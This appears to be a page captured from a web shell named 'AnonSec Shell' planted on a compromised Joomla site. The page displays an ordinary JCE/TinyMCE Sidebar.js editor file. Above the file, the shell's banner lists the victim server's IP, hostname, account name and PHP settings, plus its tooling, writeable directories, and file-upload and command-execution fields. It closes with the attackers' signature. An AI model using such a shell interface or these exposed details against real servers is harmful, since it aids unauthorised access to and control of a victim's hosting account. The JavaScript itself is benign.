AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/aix/media/com_jce/editor/tinymce/themes/modern/src/ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/aix/media/com_jce/editor/tinymce/themes/modern/src/ui/Sidebar.js
/* jce - 2.9.90-beta4 | 2025-07-15 | https://www.joomlacontenteditor.net | Source: https://github.com/widgetfactory/jce | Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
import Events from "../api/Events";

import Factory from "../../../../ui/Factory";

var Tools = tinymce.util.Tools, api = function(elm) {
    return {
        element: function() {
            return elm;
        }
    };
}, trigger = function(sidebar, panel, callbackName) {
    sidebar = sidebar.settings[callbackName];
    sidebar && sidebar(api(panel.getEl("body")));
}, hidePanels = function(name, container, sidebars) {
    Tools.each(sidebars, function(sidebar) {
        var panel = container.items().filter("#" + sidebar.name)[0];
        panel && panel.visible() && sidebar.name !== name && (trigger(sidebar, panel, "onhide"), 
        panel.visible(!1));
    });
}, deactivateButtons = function(toolbar) {
    toolbar.items().each(function(ctrl) {
        ctrl.active(!1);
    });
}, findSidebar = function(sidebars, name) {
    return Tools.grep(sidebars, function(sidebar) {
        return sidebar.name === name;
    })[0];
}, showPanel = function(editor, name, sidebars) {
    return function(e) {
        var e = e.control, container = e.parents().filter("panel")[0], panel = container.find("#" + name)[0], sidebar = findSidebar(sidebars, name);
        hidePanels(name, container, sidebars), deactivateButtons(e.parent()), panel && panel.visible() ? (trigger(sidebar, panel, "onhide"), 
        panel.hide(), e.active(!1)) : (panel ? panel.show() : (panel = Factory.create({
            type: "container",
            name: name,
            layout: "stack",
            classes: "sidebar-panel",
            html: ""
        }), container.prepend(panel), trigger(sidebar, panel, "onrender")), trigger(sidebar, panel, "onshow"), 
        e.active(!0)), Events.fireResizeEditor(editor);
    };
}, hasSidebar = function(editor) {
    return !!editor.sidebars && 0 < editor.sidebars.length;
}, createSidebar = function(editor) {
    return {
        type: "panel",
        name: "sidebar",
        layout: "stack",
        classes: "sidebar",
        items: [ {
            type: "toolbar",
            layout: "stack",
            classes: "sidebar-toolbar",
            items: Tools.map(editor.sidebars, function(sidebar) {
                var settings = sidebar.settings;
                return {
                    type: "button",
                    icon: settings.icon,
                    image: settings.image,
                    tooltip: settings.tooltip,
                    onclick: showPanel(editor, sidebar.name, editor.sidebars)
                };
            })
        } ]
    };
};

export default {
    hasSidebar: hasSidebar,
    createSidebar: createSidebar
};

Anon7 - 2022
AnonSec Team